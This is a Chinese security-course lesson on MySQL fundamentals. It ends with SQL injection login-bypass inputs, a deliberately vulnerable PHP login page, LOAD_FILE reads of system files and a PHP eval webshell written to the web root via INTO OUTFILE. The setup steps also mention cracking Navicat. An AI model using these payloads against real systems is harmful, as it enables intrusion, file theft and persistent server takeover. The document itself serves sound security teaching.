Day4 前置基础知识-数据库(一)

一、数据库技术简介及其与网络安全的关系

1.1 数据库概念

数据库(Database,简称 DB)是按照数据结构来组织、存储和管理数据的仓库,它能高效实现数据的增删改查,避免数据冗余,保证数据的一致性和安全性。在网络安全领域,数据库是核心资产之一(如用户密码库、业务数据存储库),其安全直接影响整个系统的安全,因此掌握数据库基础是学习网络安全的重要前提。

  • DBMS(数据库管理系统):如 MySQL、PostgreSQL、Oracle 等,用于创建、管理和操作数据库。
  • SQL(结构化查询语言):几乎所有主流数据库通用的语言,用来执行增删改查等操作。

📌 类比理解: 数据库 → 电子表格仓库 表(table)→ 单个 Excel 文件 记录(record)→ 表中的一行数据 字段(field)→ 表中的一列

例如:

users 表
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1  | admin    | 123456   |
| 2  | guest    | guest123 |
+----+----------+----------+

1.2 DBMS 类别

DBMS(Database Management System,数据库管理系统)是用于管理数据库的软件,根据数据模型的不同,主要分为以下几类:

类别 特点 代表产品 适用场景
关系型数据库 基于关系模型(二维表结构),支持 SQL 语言,数据一致性强 MySQL、Oracle、SQL Server 金融交易、用户管理等对数据一致性要求高的场景
非关系型数据库(NoSQL) 不依赖二维表,数据结构灵活(如键值对、文档、图形),扩展性强 Redis(键值)、MongoDB(文档)、Neo4j(图形) 高并发读写(如电商秒杀)、非结构化数据存储(如日志)
时序数据库 专门存储时间序列数据(按时间戳排序),支持高效时间范围查询 InfluxDB、Prometheus 系统监控、物联网设备数据采集

在网络安全课程中,我们以MySQL(关系型数据库) 为核心展开学习,因其开源免费、应用广泛,且是渗透测试、漏洞分析中常见的目标数据库。

1.3 什么是数据表(Table)

数据库内部是由一张张表组成的,每张表像 Excel 的一张表格

表由两部分组成:

  • 行(Row):每一行代表一条数据记录
  • 列(Column):每一列代表一个字段(属性),例如姓名、年龄

示例:student 学生表

id name age
1 Alice 20
2 Bob 21

1.4 什么是字段(Field)

字段就是表中的一列,用来描述数据的某一部分信息。

例如 student 表中:

字段名 含义 类型
id 学号 INT(整数)
name 姓名 VARCHAR(字符串)
age 年龄 INT(整数)

1.5 数据类型(重点记几个)

数据类型用于告诉数据库 存储的数据是什么类型

常见类型:

类型 说明 示例
INT 整数 18, 0, 200
VARCHAR(n) 字符串(长度可变) "Alice"
CHAR(n) 固定长度字符串 'A'
TEXT 大段文字 评论内容
DATE 日期 2025-01-01
FLOAT / DOUBLE 小数 3.14

主要了解一下:INT、VARCHAR、TEXT、DATE

1.6 主键(Primary Key)

主键是表中 唯一标识一条记录 的字段,不能重复,不能为 NULL。

一个表通常会有一个主键,比如:

  • 学号(唯一)
  • 身份证号(唯一)
  • 自增 id(最常用)

例子:

id INT PRIMARY KEY AUTO_INCREMENT

主键作用:

  • 快速定位数据
  • 防止重复
  • 让数据库更高效地管理表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50)
);

-- 插入数据时,id 自动递增
INSERT INTO users (username) VALUES ('Alice');  -- id 自动为 1
INSERT INTO users (username) VALUES ('Bob');    -- id 自动为 2

1.7 约束(Constraint)

约束就是数据库对某个字段设定的 规则,用来保证数据合法、安全。

常见约束:

名称 作用 示例
PRIMARY KEY 主键,唯一、非空 id
UNIQUE 不允许重复 username
NOT NULL 不允许为空 name
DEFAULT 默认值 DEFAULT 18
CHECK 自定义检查(MySQL 限制) age > 0
FOREIGN KEY 外键(保持表之间关系) student.class_id → class.id

初学只需要理解 PRIMARY KEY、NOT NULL、UNIQUE、DEFAULT

UNIQUE(唯一)

CREATE TABLE students (
    id INT PRIMARY KEY AUTO_INCREMENT,
    email VARCHAR(100) UNIQUE  -- 邮箱不能重复
);

-- 插入测试
INSERT INTO students (email) VALUES ('a@qq.com');  -- ✅ 成功
INSERT INTO students (email) VALUES ('a@qq.com');  -- ❌ 报错:Duplicate entry 'a@qq.com'

NOT NULL(非空)

CREATE TABLE students (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL  -- 姓名必须填写
);

-- 插入测试
INSERT INTO students (name) VALUES ('张三');  -- ✅ 成功
INSERT INTO students (name) VALUES (NULL);    -- ❌ 报错:Column 'name' cannot be null

DEFAULT(默认值)

CREATE TABLE students (
    id INT PRIMARY KEY AUTO_INCREMENT,
    status ENUM('active', 'inactive') DEFAULT 'active',  -- 默认激活
    score INT DEFAULT 0  -- 默认 0 分
);

-- 插入测试
INSERT INTO students () VALUES ();  -- ✅ status='active', score=0

1.8 什么是外键(Foreign Key)

外键用来建立 两个表之间的关系,保证数据一致性。

例:

班级表:class 学生表:student(class_id 关联 class.id)

这样就可以知道每个学生属于哪个班级。

但外键在实战(尤其在网络安全)里使用较少,了解概念即可,不深讲。

1.9 什么是索引(Index)

索引就像书的目录,可以让你快速查找内容。

加索引可以:

  • 提升查询速度
  • 加快WHERE 查询

但会让写入变慢(因为要维护索引),后面再深入。

只需知道:

索引让查询更快。

1.10 SQL 是什么?

SQL(Structured Query Language)是一种 操作数据库的语言

你可以用 SQL 来:

  • 创建表
  • 查询数据(SELECT)
  • 插入数据(INSERT)
  • 更新数据(UPDATE)
  • 删除数据(DELETE)

比如查询全部学生:

SELECT * FROM student;

SQL 注释的三种方式

1. -- 单行注释(ANSI 标准)

-- 这是注释(注意:--后面必须有空格!)
SELECT * FROM users;  -- 行尾注释

关键陷阱-- 后面必须至少有一个空格,否则会被当成 SQL 的一部分!

--❌ 错误:SELECT * FROM users; --没空格的注释
--✅ 正确:SELECT * FROM users; -- 有空格的注释

2. # 单行注释(MySQL 特有)

# 这是 MySQL 注释(# 后面可以不要空格)
SELECT * FROM users;  # 行尾注释

特点

  • MySQL 专属,不是 SQL 标准
  • # 后面不需要空格(推荐加空格提高可读性)

3. /* ... */ 多行注释(标准)

/*
  这是多行注释
  可以跨越多行
*/
SELECT * FROM users;

SELECT * FROM users WHERE id = 1 /* 行内注释 */ AND status = 'active';

高级用法:MySQL 中可以用 /*! ... */ 实现版本兼容

/*!50712 SQL语句 */  -- 仅在 MySQL 5.7.12+ 执行

不同数据库的兼容性

数据库 -- # /* ... */
MySQL ✅(需空格)
PostgreSQL ✅(需空格)
SQL Server ✅(需空格)
SQLite ✅(需空格)
Oracle ✅(需空格)

一句话总结-- 是标准但后面必须加空格,# 是 MySQL 偷懒写法,多行用 /* */ 最保险!

1.11 数据库与网络安全的关系

为什么信息安全专业要学数据库?

因为数据库是网站最重要的组成部分,而常见攻击之一就是:

SQL 注入(SQL Injection)

当程序没有正确处理用户输入时,攻击者可以在输入框中加入 SQL 代码,从而:

  • 查询敏感数据
  • 绕过登录
  • 删除数据库
  • 甚至控制服务器

要理解 SQL 注入,必须先会:

  • 基础 SQL
  • 主键和字段的概念
  • 表结构
  • 插入/查询语句

学习数据库不仅是开发技能,也是安全分析必备知识。

关键认知

数据库不仅是“后台服务”,更是主要攻击面之一。学会操作数据库,才能理解攻击原理,进而做好防御。


二、环境搭建及工具安装

2.1 将 MySQL 添加到系统环境变量

小皮面板已安装 MySQL,但默认无法在 CMD 中直接使用 mysql 命令,需手动添加环境变量。

2.1.1 步骤详解(Windows)

  1. 找到 MySQL 的 bin 目录路径(常见路径如下):

    D:\phpstudy_pro\Extensions\MySQL\mysql-5.7.39-winx64\bin
    

    注意:不同版本的小皮面板路径略有差异,请根据实际安装位置确认。

  2. 打开系统环境变量设置:

    • 右键“此电脑” → 属性 → 高级系统设置 → 环境变量
  3. 在“系统变量”区域找到 Path,点击“编辑”

  4. 点击“新建”,粘贴刚才复制的 bin 路径

  5. 连续点击“确定”保存更改

  6. 重启 CMD(重要!否则不生效)

  7. 验证是否成功:

    mysql --version
    

    若返回类似以下内容,则表示配置成功:

    mysql  Ver 14.14 Distrib 5.7.39, for Win64 (x86_64)
    

2.1.2 常见问题排查

  • 提示 'mysql' 不是内部或外部命令 → 检查路径是否正确;是否重启了 cmd;是否有拼写错误
  • 多个 MySQL 实例冲突 → 建议只保留小皮面板自带的一个实例,避免端口占用

2.2 Navicat 安装与使用指南

2.2.1 什么是 Navicat?

Navicat 是一款图形化数据库管理工具,支持 MySQL、MariaDB、MongoDB 等多种数据库。其优势在于:

  • 可视化界面,便于初学者上手
  • 支持数据建模、导入导出、SQL 自动生成
  • 适合教学演示与日常开发

下载地址:使用群内安装包(仅供学习使用)

2.2.2 安装步骤

  1. 下载后双击 .exe 文件
  2. 按提示完成安装
  3. 根据步骤完成破解
  4. 启动 Navicat

2.2.3 连接本地 MySQL 数据库

  1. 点击左上角【连接】→【MySQL】
  2. 填写连接信息:
    • 连接名:Local MySQL
    • 主机:127.0.0.1localhost
    • 端口:3306(小皮面板默认)
    • 用户名:root
    • 密码:123456(到小皮面板—数据库,查看root密码)
  3. 点击【测试连接】→ 显示“连接成功”即可保存

    成功后左侧会显示数据库列表,包括:

  4. information_schema

  5. performance_schema
  6. sys
  7. mysql、ctf等等

2.2.4 常见操作演示

操作 方法
创建数据库 右键连接 → 新建数据库 → 输入名称(如 testdb)
创建表 右键表 → 新建表 → 添加字段(id, name, age)→ 保存为 students
插入数据 右键表 → 查看数据 → 插入新行
执行 SQL 工具栏点击【查询】→ 新建查询 → 编写并运行 SQL

示例 SQL 创建表:

CREATE TABLE students (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(50) NOT NULL,
    age INT
);

插入测试数据:

INSERT INTO students (name, age) VALUES 
('Alice', 20),
('Bob', 21),
('Charlie', 22);

查询所有数据:

SELECT * FROM students;

三、MySQL系统数据库解析

在 MySQL 安装完成后,左侧会自动出现几个系统数据库,它们不是给你直接存数据用的,而是 管理 MySQL 自身运行 必不可少的“内部数据库”。

3.1 information_schema(信息架构库)

作用:提供数据库元数据(Meta Data)

它里面保存的不是你真正的数据,而是:

  • 数据库有哪些表
  • 每个表有哪些字段
  • 字段类型是什么
  • 表占多少空间
  • 字符集是什么
  • 视图、触发器、约束等信息

可以把它理解为 “MySQL 的信息目录”

示例:

select * from information_schema.tables;

查看当前服务器上所有数据库的所有表信息。

这个库一般不会直接改动,只是查询结构时会用到。

注意:

  • information_schema 是从 MySQL 5.0(2005 年)开始引入的系统数据库
  • 目的是为了遵循 SQL 标准(SQL:2003),提供统一的“元数据访问方式”。

在 MySQL 4.x 及以前,没有这个库,查询表结构只能靠 SHOW TABLESSHOW COLUMNS 这种非标准语句。

安全面试中非常常见且很容易考到的点,尤其是:

  • Web 渗透
  • SQL 注入(盲注)
  • 数据库基础
  • 权限绕过

information_schema = SQL 注入信息收集的核心

3.2 performance_schema(性能监控库)

作用:收集数据库运行时的性能数据

里面存的都是运行时数据,例如:

  • SQL 执行时间
  • 锁等待时间
  • 线程运行信息
  • IO 信息

是 DBA 做性能调优的重要来源。

一般不会往里面插入数据,它的数据由 MySQL 自动生成。


3.3 sys(系统视图库)

作用:把 performance_schema 的复杂信息简化成好懂的视图

performance_schema 原始数据太复杂,sys 库相当于做了“美化”和“整理”:

例如:

  • 哪些 SQL 最耗时
  • 当前数据库负载情况如何
  • 哪些表访问最频繁

可以把它理解成:

performance_schema = 原始监控数据 sys = 经过整理、可读性更好的性能报告


3.4 mysql(MySQL 核心权限数据库)

作用:存储 MySQL 的权限和配置:

  • 用户名与密码(例如 root)
  • 用户权限(能不能读写某个数据库)
  • 时区、字符集设置
  • 服务器配置内容

平常的权限管理就是改这个库里面的表。

例如:

select host, user from mysql.user;

可以看到有哪些用户。

❗ 这个库非常重要,不要随便删除表,否则 MySQL 会直接启动失败。

MySQL 的 mysql.user 表中存储的是密码哈希值,而非明文密码。预支对应的密码字段authentication_string从 MySQL 5.7 版本开始引入的

MySQL 5.7 之前:

  • 用户密码存储在 mysql.user 表的 password 字段中
  • 使用旧的密码哈希格式

MySQL 5.7 及之后:

  • 移除了 password 字段
  • 新增了 authentication_string 字段来存储用户认证信息
  • 支持更安全的密码加密方式
  • 引入了新的默认身份验证插件

MySQL 5.7 及之后:

SELECT user, host, authentication_string FROM mysql.user;

安全注意事项

  1. 查看用户表需要高权限(如 root 用户)
  2. 不要尝试解密,这些哈希值是单向加密的
  3. MySQL 8.0 默认使用 caching_sha2_password 认证插件,安全性更强
  4. 生产环境请严格控制对 mysql.user 表的访问权限

总结:能看到哈希值,但无法逆向获取原始密码。重置密码请使用 ALTER USER 命令。

3.5 ctftest 等等(你或程序创建的普通数据库)

作用:存自己的业务数据

这类库不是系统的,是你或应用程序创建的:

create database ctf;

你创建的所有表、数据都放在这些库下,比如:

  • 用户表
  • 文章表
  • CTF 的 flag 表
  • 学生实验的测试数据

3.6 总结表

库名 类型 用途说明
information_schema 系统库 存数据库结构信息(表名、字段等)
performance_schema 系统库 运行时性能监控数据
sys 系统库 performance_schema 的“简化版”视图
mysql 核心系统库 用户、权限、配置
ctf / test / demo 等 普通数据库 你自己存放数据的地方

四、MySQL 基础命令

4.1 连接 MySQL

连接 MySQL

mysql -u 用户名 -p

例:

mysql -u root -p

指定主机 + 端口

mysql -h 127.0.0.1 -P 3306 -u root -p

4.2 数据库级操作(Database Operations)

4.2.1 查看数据库

SHOW DATABASES;

输出常见数据库:

  • information_schema
  • mysql
  • performance_schema
  • sys

4.2.2 创建数据库

CREATE DATABASE school;

创建带字符集:

CREATE DATABASE school CHARACTER SET utf8mb4;

4.2.3 删除数据库

DROP DATABASE school;

注意:不可恢复。

4.2.4 使用某数据库

USE school;

4.2.5 查看当前使用的数据库

SELECT DATABASE();

4.3 表结构操作(Table Operations)

进入数据库后(执行 USE school;),可操作表。


4.3.1 查看当前库的所有表

SHOW TABLES;

4.3.2 创建表

CREATE TABLE student (
  id INT PRIMARY KEY AUTO_INCREMENT,
  name VARCHAR(50),
  age INT,
  grade VARCHAR(10)
);

说明:

字段 类型 说明
id INT 主键、自增
name VARCHAR(50) 字符串
age INT 整数
grade VARCHAR(10) 班级/年级

4.3.3 查看表结构

DESC student;

更详细:

SHOW CREATE TABLE student;

4.3.4 修改表结构

添加字段

ALTER TABLE student ADD email VARCHAR(100);

修改字段类型

ALTER TABLE student MODIFY age SMALLINT;

修改字段名

ALTER TABLE student CHANGE grade class VARCHAR(20);

删除字段

ALTER TABLE student DROP COLUMN email;

重命名表

ALTER TABLE student RENAME TO users;

4.3.5 删除表

DROP TABLE student;

4.4 数据操作(增删改)

4.4.1 插入数据(INSERT)

INSERT INTO student (name, age, grade)
VALUES ('Alice', 20, 'A1');

一次插入多条:

INSERT INTO student (name, age, grade)
VALUES 
('Bob', 21, 'A1'),
('Tom', 22, 'A2');

4.4.2 更新数据(UPDATE)

UPDATE student SET age = 23 WHERE name='Bob';

更新多个字段:

UPDATE student SET age = 30, grade='A3' WHERE id=1;

⚠ 强调:UPDATE 必须带 WHERE,否则全表修改


4.4.3 删除数据(DELETE)

DELETE FROM student WHERE id=2;

删除全部(危险!):

DELETE FROM student;

4.5 查询语句(SELECT)

这部分是 SQL 的核心。


4.5.1 查询全部

SELECT * FROM student;

4.5.2 查询指定字段

SELECT name, age FROM student;

4.5.3 条件查询(WHERE)

SELECT * FROM student WHERE age > 20;

常用条件:

符号 含义
= 等于
!= 或 <> 不等于

、<、>=、<= | 大小比较 LIKE | 模糊查询 IN() | 在列表中 BETWEEN | 范围查询

例如模糊查询:

SELECT * FROM student WHERE name LIKE 'A%';-- 筛选条件:name 列的值以 "A" 开头

LIKE 通配符规则

通配符 含义 示例 匹配结果
% 任意数量字符(包括 0 个) 'A%' Alice, Amy, A, Abc123
_ 单个字符 'A_' An, At(不匹配 Alice

4.5.4 排序(ORDER BY)

SELECT * FROM student ORDER BY age DESC;

ASC = 升序 DESC = 降序


4.5.5 限制条数(LIMIT)

SELECT * FROM student LIMIT 5;

分页:

SELECT * FROM student LIMIT 10 OFFSET 20;-- 从 student 表中查询数据,跳过前 20 条记录,然后返回接下来的 10 条记录。

4.5.6 统计/聚合函数

常用聚合:

函数 作用
COUNT 计数
MAX 最大值
MIN 最小值
AVG 平均值
SUM 求和

例:

SELECT COUNT(*) FROM student;
SELECT AVG(age) FROM student;

4.5.7 分组查询(GROUP BY)

SELECT grade, COUNT(*) 
FROM student 
GROUP BY grade;

各部分的含义

  1. FROM student :从"student"(学生)表中查询数据

  2. GROUP BY grade :按照"grade"(年级)列进行分组,把相同年级的学生合并成一组

  3. COUNT(*) :计算每个分组内的行数(即每个年级有多少名学生)

  4. SELECT grade, COUNT(*) :最终选择显示两列:年级名称 和 对应的学生数量

举个例子

假设 student 表里有以下数据:

id name grade
1 张三 大一
2 李四 大一
3 王五 大二
4 赵六 大三
5 钱七 大二
6 孙八 大一

执行这条SQL后,结果会是:

grade COUNT(*)
大一 3
大二 2
大三 1

4.6 MySQL 用户与权限

4.6.1 查看所有用户

SELECT user, host FROM mysql.user;

4.6.2 创建用户

CREATE USER 'test'@'localhost' IDENTIFIED BY '123456';

4.6.3 修改密码

ALTER USER 'test'@'localhost' IDENTIFIED BY 'newpass';

4.6.4 授权

给 test 用户所有权限:

GRANT ALL PRIVILEGES ON *.* TO 'test'@'localhost';

给 test 用户某个库:

GRANT SELECT, INSERT ON school.* TO 'test'@'localhost';

4.6.5 刷新权限

FLUSH PRIVILEGES;

4.6.6 删除用户

DROP USER 'test'@'localhost';

4.7 数据库备份与恢复(mysqldump)

4.7.1 备份数据库

mysqldump -u root -p school > school.sql

4.7.2 导入 SQL 文件

进入 MySQL 后:

source school.sql;

4.8 MySQL 常用系统命令

命令 说明
status 显示当前连接信息
select now(); 显示当前时间
\c 取消当前输入
exit; 退出
help; 显示帮助

五、MySQL 数据库实操

5.1 Navicat

5.1.1创建数据库(Create Database)

步骤 内容
右键连接 新建数据库
输入数据库名 如:testdb
选择字符集(重要) UTF8 / UTF8MB4(建议 UTF8MB4)
选择排序规则 Collation 一般自动跟随字符集,也可选 utf8mb4_general_ci
设置备注(可选) 示例用途说明
点击确定 创建完成

说明: 选择字符集是非常重要的步骤,Navicat 默认可能不是 UTF8MB4,所以必须知道如何修改。

5.1.2 创建表(Create Table)

步骤 内容
右键数据库 → 新建表 弹出字段编辑器
添加字段 如 id, name, age
选择字段类型 Type INT / VARCHAR / TEXT / DATETIME 等
设置长度(如 VARCHAR(50)) 对字符串字段必须设置长度
设置主键(PK) 勾选 id 为主键
设置自增(AI) id 字段通常设为 AUTO_INCREMENT
设置是否允许为 NULL 例如 name 通常不允许为空
设置默认值(可选) 如 age 默认 18
保存表 输入表名,如 students

真实创建表的 SQL 会类似:

CREATE TABLE students (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL,
    age INT DEFAULT 18
);

MySQL 中,绝大多数字符类型(尤其是 VARCHAR) 如果你不写长度,会 报错或自动使用一个系统默认长度。 但注意:不同字段类型对“长度”的要求不一样,有的是必须写,有的是可选,有的是不需要长度。

最常用字段类型的默认行为总结表

字段类型 是否需要长度 不写时的默认行为
VARCHAR(n) 必须写 ❌ 报错
CHAR(n) 可不写 默认 CHAR(1)
INT / BIGINT / TINYINT 不需要 默认宽度废弃,直接使用即可
DECIMAL(p,s) 必须写 ❌ 报错
TEXT / BLOB 系列 不需要 系统有固定最大长度
DATE / DATETIME / TIMESTAMP 不需要 正常使用
FLOAT / DOUBLE 可写精度,也可不写 不写则使用系统默认精度

VARCHAR 是可变长,节省空间;CHAR 是固定长,速度快。 字符串长度不固定就用 VARCHAR,完全固定才用 CHAR。

VARCHAR —— 可变长度字符串(Variable Character)

特点:长度可变,按实际内容存储,不浪费空间

例如:

name VARCHAR(50)

如果你存入:

  • "Tom"(3 个字符) → 占 3 个字节
  • "Jonathan"(8 个字符) → 占 8 个字节

VARCHAR 不会占满 50,它只占你写的内容的长度。

适合哪些字段?

  • 用户名(name)
  • 邮箱(email)
  • 密码(password)
  • 地址(address)
  • 描述信息

基本上你 90% 的字符串字段都用 VARCHAR。

5.1.3 插入数据(Insert Records)

步骤 内容
右键表 → 打开表 会进入数据网格
点击左下方的+ 每一行代表一条新数据
输入数据 如:1, Alice, 20
点击 保存 Navicat 自动执行 INSERT INTO ...

也可以手写 SQL:

INSERT INTO students (name, age) VALUES ('Alice', 20);

5.1.4 执行 SQL(Query Editor)

步骤 内容
工具栏点击【查询】→ 新建查询 打开 SQL 编辑器
编写 SQL 如:SELECT * FROM students;
点击运行 执行结果显示在下方

常用 SQL 示例:

SELECT * FROM students;
UPDATE students SET age = 21 WHERE id = 1;
DELETE FROM students WHERE id = 1;
DROP TABLE students;

5.1.5 总结

操作 Navicat 操作步骤(完整版)
创建数据库 右键连接 → 新建数据库 → 输入名称(如 testdb)→ 选择字符集 UTF8MB4选择 Collation → 确定
创建表 右键数据库 → 新建表 → 添加字段 → 设置字段类型 + 长度 → 设置主键 + 自增 → 不为空 → 保存为 students
插入数据 右键表 → 查看数据 → 插入新行 → 输入数据 → Enter 保存
执行 SQL 工具栏 → 查询 → 新建查询 → 输入 SQL → 运行

5.2 CMD 命令行连接

虽然 Navicat 图形化方便,但在渗透测试中,命令行才是核心工具

5.2.1 连接数据库

打开 CMD,输入:

mysql -u root -p

回车后输入密码(默认 123456),进入交互模式:

Welcome to the MySQL monitor...
mysql>

5.2.2 常用命令速查表

命令 功能说明
SHOW DATABASES; 查看所有数据库
USE database_name; 切换到指定数据库
SHOW TABLES; 查看当前数据库下的所有表
DESCRIBE table_name; 查看表结构(字段、类型、主键等)
SELECT * FROM table_name; 查询表中所有数据
EXIT;QUIT; 退出 MySQL 客户端

5.2.3 实操探索login_demo数据库

在PHP实验里,我们创建了一个名为 login_demo 的数据库,对其进行如下操作:

-- 查看所有数据库
SHOW DATABASES;

-- 使用 security 数据库
USE login_demo;

-- 查看该库下有哪些表
SHOW TABLES;

-- 查看 emails 表结构
DESCRIBE users;

-- 查询 emails 表的所有数据
SELECT * FROM users;

六、基础数据库操作实验


6.1 实验 1:创建数据库与表

实验要求

  • 使用命令行创建一个名为 lab_db 的数据库
  • 在其中创建一张 users 表,包含字段:id, username, password

示例代码

-- 创建数据库
CREATE DATABASE lab_db;

-- 切换数据库
USE lab_db;

-- 创建 users 表
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL
);

验证方法

SHOW TABLES;
DESCRIBE users;

6.2 实验 2:插入与查询数据

实验要求

  • lab_db 数据库users 表插入 3 条用户记录
  • 查询所有用户信息

示例代码

INSERT INTO users (username, password) VALUES 
('admin', 'admin123'),
('user1', 'pass123'),
('test', 'test@123');

-- 查询所有数据
SELECT * FROM users;

MySQL 命令行里命令输入后示例,可直接回车

mysql> INSERT INTO users (username, password) VALUES
    -> ('admin', 'admin123'),
    -> ('user1', 'pass123'),
    -> ('test', 'test@123');
Query OK, 3 rows affected

看到 -> 提示符说明正在续行,输入 ; 才执行。


6.3 实验 3:更新与删除数据

实验要求

  • 将用户名为 'test' 的密码改为 'newpass'
  • 删除用户名为 'user1' 的记录

示例代码

-- 更新密码
UPDATE users SET password = 'newpass' WHERE username = 'test';

-- 删除记录
DELETE FROM users WHERE username = 'user1';

-- 验证结果
SELECT * FROM users;

6.4 实验 4:枚举数据库中的表名

这是 SQL 注入中最常用的技巧之一!

实验要求

  • 使用 information_schema.tables 查询 lab_db 数据库中的所有表名
USE mysql;-- 可选,主要体验一下,从information_schema里查询表名,不用处于所查询的数据库中。
SELECT table_name 
FROM information_schema.tables 
WHERE table_schema = 'lab_db';

解释:

  • information_schema 是 MySQL 自带的元数据库,存储所有数据库的结构信息
  • 攻击者可通过注入此语句,获取目标数据库的所有表名,进一步构造攻击

七、关于数据库安全的思考

现在我们来思考一个问题:

如果网站登录框没有对用户输入做过滤,会发生什么?

设想一个典型的登录 SQL 查询:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

如果用户输入:

用户名:admin'-- 
密码:任意

最终 SQL 变成:

SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'xxx';

由于 -- 是 SQL 注释符,后面的条件被忽略,相当于:

SELECT * FROM users WHERE username = 'admin'

结果:无需密码即可登录!

这就是 SQL 注入 的基本原理。

看一个实际的例子http://113.44.59.124:9002/

index.php

<?php

$db = new PDO('sqlite:./users.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

# 初始化用户表
$db->exec("CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT,
            password TEXT)");
# 插入测试用户
$db->exec("INSERT OR IGNORE INTO users(id,username,password) VALUES(1,'admin','real-pass-1337')");

# 只在 POST 提交时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name = $_POST['username'] ?? '';
    $pass = $_POST['password'] ?? '';

    # 拼接 SQL(无任何过滤)
    $sql = "SELECT * FROM users WHERE username='$name' AND password='$pass'";

    try {
        $stmt = $db->query($sql);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);
    } catch (Exception $e) {
        echo "<hr>SQL 报错:" . $e->getMessage();
        exit;
    }

    # 判断是否登录成功
    if ($user) {
        $flag = trim(file_get_contents('/flag'));
        echo "<hr>登录成功! flag 是:$flag";
    } else {
        echo "<hr>用户名或密码错误~";
    }
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <title>Login | EagleLab</title>
    <style>body{font-family:Segoe UI,Helvetica,Arial,sans-serif;background:#f4f7f6;margin:0;padding:60px;text-align:center}h1{color:#333}.box{background:#fff;padding:30px;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,.1);max-width:400px;margin:auto}input[type=text],input[type=password]{width:80%;padding:8px;margin:8px 0}button{padding:8px 20px}</style>
</head>
<body>
    <div class="box">
        <h1>EagleLab 后台登录</h1>
        <form method="post">
            <input type="text" name="username" placeholder="用户名"><br>
            <input type="password" name="password" placeholder="密码"><br>
            <button type="submit">登录</button>
        </form>
    </div>
</body>
</html>

尝试正常登录和sql注入

用户名admin'--,密码随意

或者

用户名admin,密码'or 1--

安全启示

  1. 为什么数据库权限要最小化?(不要用 root 用户连接应用)
  2. 为什么不能拼接 SQL?(应使用预编译参数化查询)
  3. 如何检测 SQL 注入漏洞?(尝试 ' OR 1=1 -- 看是否能绕过登录)
  4. 攻击者拿到数据库后还能做什么?(读取文件、写入木马、反弹 shell)

八、常用 MySQL 系统函数与安全相关知识点

函数/变量 作用 安全意义
version() 查看 MySQL 版本 判断是否存在已知漏洞
user() 当前数据库用户 判断权限高低(root?)
database() 当前数据库名 注入时用于定位目标
@@datadir 数据库存储路径 可用于读写文件(LOAD_FILE / INTO OUTFILE)
@@basedir 安装路径 判断系统环境
LOAD_FILE('path') 读取服务器文件 获取配置文件、日志等
SELECT ... INTO OUTFILE 写入文件 可写入 Webshell

示例:

-- 读取系统 hosts 文件
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');
SELECT LOAD_FILE('D:\\eaglelab\\security\\day4\\flag.txt');
-- 需要先查看secure_file_priv,命令:SHOW VARIABLES LIKE 'secure_file_priv';
-- 1.NULL:完全禁止文件读取  2./var/lib/mysql-files/ 只能读该目录 3.空字符串 '':不限制(但通常默认不是空)

-- 写入一句话木马(危险操作!仅演示)
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php';

MySQL 文件读写前置条件清单

必须条件(缺一不可)

条件 检查命令 解决方案
secure_file_priv 为空或指定路径 SHOW VARIABLES LIKE 'secure_file_priv'; my.ini/my.cnf[mysqld] 段添加 secure_file_priv="" 后重启
必须是绝对路径 - D:/path/file.txt (✅) ../file.txt (❌)
MySQL服务用户权限 - Windows: NETWORK SERVICE Linux: mysql 用户
文件大小 < max_allowed_packet SHOW VARIABLES LIKE 'max_allowed_packet'; 在配置文件中调大该值

results matching ""

    No results matching ""